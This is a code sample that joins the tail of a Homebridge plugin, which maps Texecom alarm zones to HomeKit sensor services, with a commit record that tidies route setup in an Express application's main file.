			this.log("Must set either serial_device or ip_address in configuration.");
		}
    }
}

function TexecomAccessory(log, zoneConfig) {
    this.log = log;

    this.zone_number = zpad(zoneConfig["zone_number"] || zoneConfig["area_number"], 3);
    this.name = zoneConfig["name"];
    this.zone_type = zoneConfig["zone_type"] || zoneConfig["area_type"] || "motion";
    this.dwell_time = zoneConfig["dwell"] || 0;

    if(zoneConfig["sn"]){
        this.sn = zoneConfig["sn"];
    } else {
        var shasum = crypto.createHash('sha1');
        shasum.update(this.zone_number);

        this.sn = shasum.digest('base64');
        log.debug('Computed SN ' + this.sn);
    }
}

TexecomAccessory.prototype = {

    getServices: function() {

        var informationService = new Service.AccessoryInformation();

        informationService
          .setCharacteristic(Characteristic.Name, this.name)
          .setCharacteristic(Characteristic.Manufacturer, "Homebridge")
          .setCharacteristic(Characteristic.Model, "Texecom Zone")
          .setCharacteristic(Characteristic.SerialNumber, this.sn);

        var service, changeAction;
        switch(this.zone_type){
        case "contact":
            service = new Service.ContactSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.ContactSensorState)
                        .setValue(newState ? Characteristic.ContactSensorState.CONTACT_NOT_DETECTED : Characteristic.ContactSensorState.CONTACT_DETECTED);
            };
            break;
        case "motion":
            service = new Service.MotionSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.MotionDetected)
                        .setValue(newState);
            };
            break;
        case "smoke":
            service = new Service.SmokeSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.SmokeDetected)
                        .setValue(newState ? Characteristic.ContactSensorState.SMOKE_DETECTED : Characteristic.ContactSensorState.SMOKE_NOT_DETECTED);
            };
            break;
        case "carbonmonoxide":
            service = new Service.CarbonMonoxideSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.CarbonMonoxideDetected)
                        .setValue(newState ? Characteristic.CarbonMonoxideDetected.CO_LEVELS_ABNORMAL : Characteristic.CarbonMonoxideDetected.CO_LEVELS_NORMAL);
            };
            break;
        case "securitysystem":
            service = new Service.SecuritySystem();
            changeAction = function(newState){
            	var newValue = newState ? Characteristic.SecuritySystemCurrentState.AWAY_ARM : Characteristic.SecuritySystemCurrentState.DISARMED;
                service.getCharacteristic(Characteristic.SecuritySystemCurrentState)
                        .setValue(newValue);
                service.getCharacteristic(Characteristic.SecuritySystemTargetState)
                        .setValue(newValue);
            };
            changeAction(false);
            break;
        default:
        	service = new Service.MotionSensor();
            changeAction = function(newState){
                service.getCharacteristic(Characteristic.MotionDetected)
                        .setValue(newState);
            };
            break;
        }

        this.changeHandler = function(status){
            var newState = status;
            platform.log.debug("Dwell = " + this.dwell_time);

            if(!newState && this.dwell_time > 0){
            	this.dwell_timer = setTimeout(function(){ changeAction(newState); }.bind(this), this.dwell_time);
            } else {
            	if(this.dwell_timer){
            		clearTimeout(this.dwell_timer);
            	}
            	changeAction(newState);
            }

            platform.log.debug("Changing state with changeHandler to " + newState);

        }.bind(this);

        return [informationService, service];
    }
};
<|endoftext|>


<commit_before>const express = require('express');
const path = require('path');
const favicon = require('serve-favicon');
const logger = require('morgan');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const lessMiddleware = require('less-middleware');

const config = require('./config');
const controllers = require('./controllers');

config.mongoose.connection.on('open', () => {
  console.info('Connected to Mongo DB');
});

const index = require('./routes/index');
const users = require('./routes/users');

const app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'hbs');

// uncomment after placing your favicon in /public
app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')));
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(lessMiddleware(path.join(__dirname, 'public')));
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', index);
app.use('/users', users);
app.use('/api', controllers);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  const err = new Error('Not Found');
  err.status = 404;
  next(err);
});

// error handler
app.use(function(err, req, res) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;
<commit_msg>Cleanup index.js<commit_after>const express = require('express');
const path = require('path');
const favicon = require('serve-favicon');
const logger = require('morgan');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const lessMiddleware = require('less-middleware');

const config = require('./config');
const controllers = require('./controllers');
const index = require('./routes/index');

config.mongoose.connection.on('open', () => {
  console.info('Connected to Mongo DB');
});

const app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'hbs');

// uncomment after placing your favicon in /public
app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')));
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(lessMiddleware(path.join(__dirname, 'public')));
app.use(express.static(path.join(__dirname, 'public')));

// All the urls that start with api refer to endpoints
// their responses are usually json and not actual views
app.use('/api', controllers);
// the index views manages all the front end views, like
// forms, dashboards, etcs
app.use('/', index);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  const err = new Error('Not Found');
  err.status = 404;
  next(err);
});

// error handler
app.use(function(err, req, res) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;
<|endoftext|>